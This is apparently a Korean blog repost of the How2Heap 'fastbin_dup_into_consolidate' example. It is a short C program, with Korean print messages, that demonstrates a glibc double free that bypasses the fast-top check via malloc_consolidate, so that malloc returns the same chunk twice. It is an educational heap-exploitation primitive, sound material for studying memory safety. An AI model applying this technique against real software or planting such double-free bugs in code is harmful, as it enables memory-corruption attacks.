[How2Heap] fastbin_dup_into_consolidate

fastbin_dup_into_consolidate.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "fastbin을 두개 할당한다: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "-------free(p1)-------\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "malloc_consolidate()를 trigger하기 위해 largebin을 할당한다: p3=%p\n", p3);
fprintf(stderr, "malloc_consolidate()에서 p1은 unsorted bin으로 이동한다.\n");

fprintf(stderr, "-------free(p1)-------\n");
free(p1);
fprintf(stderr, "double free 취약점을 trigger한다.\n");
fprintf(stderr, "이제 p1이 fast-top에 있지 않기 때문에 malloc의 체크를 통과할 수 있다.\n");
fprintf(stderr, "현재 p1은 unsorted bin과 fastbin 안에 있다.\n"
"그래서 우리는 주소를 2번 얻을 수 있다: %p %p\n", malloc(0x40), malloc(0x40));
}

[fastbin_dup_into_consolidate.c]


Source

공유하기